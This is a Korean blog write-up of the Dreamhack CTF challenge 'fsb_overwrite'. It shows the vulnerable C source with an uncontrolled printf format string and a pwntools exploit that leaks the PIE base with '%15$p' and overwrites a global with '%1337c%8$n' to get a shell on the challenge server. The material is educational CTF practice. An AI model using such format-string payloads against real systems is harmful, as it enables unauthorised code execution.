제공 Docker file
FROM ubuntu:22.04@sha256:b6b83d3c331794420340093eb706a6f152d9c1fa51b262d9bf34594887c2c7ac
ENV user fsb_overwrite
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./private/flag /home/$user/flag
ADD ./public/$user /home/$user/$user
RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 10 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
Dockerfile (분석)
FROM ubuntu:22.04
ENV PATH="${PATH}:/usr/local/lib/python3.10/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update && apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget \
gdb \
curl \
build-essential \
libssl-dev \
libffi-dev \
libglib2.0-dev \
python3-dev
WORKDIR /root
# install pwndbg
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget
RUN gem install one_gadget -v 1.6.2
WORKDIR /root
COPY . /root
fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
코드 분석
get_string으로 입력을 계속 받고있고, int changeme 가 1337 일 때 정답이 되므로 저 변수만 값을 조정해주면 쉽게 해결할 수 있는 문제이다.
위치입력을 받는 곳과 changegame이 어디있는지 동적분석으로 파악해보자.
적용 보안기법
pwndbg> checksec
[*] '/root/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
동적 분석
분석에 들어가기 전에 우선 파일을 실행시켜서 어떤 값을 내오는지 봤다.
그리고 changeme 가 어디 존재하는지 봐주자.
changeme의 주소는 0x5da8ac9cc01c 가 offset = 0x3000, +0x1c 위치라는 bss 영역인 걸 확인했다.
그리고 이제 스택 영역에서 main주소가 담겨있는 곳을 알아낸 뒤 PIE의 베이스 주소를 구하면 된다.
(이전 사진에 x/g 명령어 오류가 있어서 사진을 대체함. main 주소는 달라졌으나 인자 순서는 동일함.)
이렇게 get_string 함수 이전에 스택이 어떻게 생겼는지와, 메인 주소와의 거리도 계산해줘서 15번째 인자를 호출해주면 되는 것을 쉽게 알아낼 수 있다.
여기까지 코드를 짜보자.
익스플로잇코드 (base 구하기)
from pwn import *
p = process('./fsb_overwrite')
e = ELF('./fsb_overwrite')
offset_changeme = e.symbols['changeme']
offset_main = e.symbols['main']
print("main offset: ", hex(offset_main))
p.sendline(b'%15$p')
main_addr = int(p.recvline()[:-1], 16)
base = main_addr - offset_main
changeme = base + offset_changeme
print("base: ", hex(base))
print("changeme: ", hex(changeme))
p.interactive()
그럼 이제 마무리를 해보자.
우리가 쓰는 값들은 이전 사진에서 보이듯 rsp+8 위치, 즉 8번째 인자에 저장되므로 8번째 기준으로 익스플로잇 코드를 작성해주면 된다.
익스플로잇 코드
from pwn import *
#p = process('./fsb_overwrite')
p= remote("host3.dreamhack.games" ,15593)
e = ELF('./fsb_overwrite')
offset_changeme = e.symbols['changeme']
offset_main = e.symbols['main']
print("main offset: ", hex(offset_main))
p.sendline(b'%15$p')
main_addr = int(p.recvline()[:-1], 16)
base = main_addr - offset_main
changeme = base + offset_changeme
print("base: ", hex(base))
print("changeme: ", hex(changeme))
payload = b'%1337c%8$n' + b'A'*6 + p64(changeme)
p.sendline(payload)
p.interactive()
이렇게 쉽게 플래그를 얻어냈다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exploit Tech: Bypass SECCOMP (0) | 2026.04.15 |
|---|---|
| [Pwnable Advanced] Exercise: basic_exploitation_002 & basic_exploitation_003 (0) | 2026.04.15 |
| [Pwnable] Exploit Tech: Out of bounds (0) | 2026.04.15 |
| [Pwnable] ssp_001 (0) | 2026.04.15 |
| [Pwnable] basic_rop_x86 (0) | 2026.04.15 |